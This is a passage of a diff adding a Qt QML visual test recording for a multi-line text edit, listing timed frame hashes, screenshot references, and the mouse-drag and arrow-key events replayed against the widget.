+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 48; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "usingMultilineEdit.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 5808
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 5824
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "ee9722d220435828b919fa4d8e314b78"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "ee9722d220435828b919fa4d8e314b78"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "8a06a84965166774ff160984ed05b5ad"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "0a9ec173aa0436b9b9edf3f20946ae5a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "0a9ec173aa0436b9b9edf3f20946ae5a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "5511590b6b6826d8e863956220eee2e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "4d413c13e43c57809af8ee83a165dcb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 140
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Frame {
+ msec: 6208
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Frame {
+ msec: 6224
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Frame {
+ msec: 6240
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Frame {
+ msec: 6256
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6288
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6304
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6320
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6336
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6352
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6368
+ hash: "cc0c5811bc845540c2c550cefe45ab1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6384
+ hash: "b35bc1db0fd5b95bb830a9be9ded1659"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6400
+ hash: "b35bc1db0fd5b95bb830a9be9ded1659"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6416
+ hash: "576bbe32d2b6f582cbb0102d2b0e079b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "15a7ee7f58f286ae22385c2817b9b697"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "5cd516c20c91c407ca9932ea89afd100"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "40ce8b3c3588727a37e03dd83cb3d536"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6512
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6528
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Frame {
+ msec: 6608
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Frame {
+ msec: 6624
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Frame {
+ msec: 6640
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Frame {
+ msec: 6656
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Frame {
+ msec: 6672
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6688
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6704
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6720
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: -28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6736
+ image: "usingMultilineEdit.7.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6768
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6784
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6800
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 0
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6816
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6832
+ hash: "384cc9f557dd56079a54c1f0460bf96f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6864
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6880
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6896
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6912
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6928
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6944
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6960
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6976
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 6992
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7008
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7024
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7040
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7056
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7072
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Frame {
+ msec: 7088
+ hash: "a3d9bdf8086303458ae5d35294551894"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7104
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7120
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7136
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7152
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7168
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7200
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7216
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7232
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7248
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7264
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7280
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7296
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7312
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7328
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7344
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7360
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7376
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7392
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7408
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7424
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7440
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7456
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7472
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7488
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7504
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7520
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7536
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7552
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Frame {
+ msec: 7568
+ hash: "a5755969d822cae00af992085c419a17"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7584
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7600
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7616
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7632
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7648
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7664
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7680
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Frame {
+ msec: 7696
+ image: "usingMultilineEdit.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "2395700fc4c3080e99b8871518113778"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7728
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7744
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7760
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7776
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7792
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7808
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7824
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7840
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7856
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7872
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7888
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7904
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7920
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7936
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Frame {
+ msec: 7952
+ hash: "71e055a9dbd940b3445d5ad9e277b483"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 7968
+ hash: "2ed8cb467e60f2fb253abb37bdc18a9a"
+ }
+ Frame {
+ msec: 7984
+ hash: "2ed8cb467e60f2fb253abb37bdc18a9a"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8000
+ hash: "5783992a07652cfc53bfa0e1f36c1415"
+ }
+ Frame {
+ msec: 8016
+ hash: "5783992a07652cfc53bfa0e1f36c1415"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8032
+ hash: "0fa5790dcbcb740d530b6333063629d6"
+ }
+ Frame {
+ msec: 8048
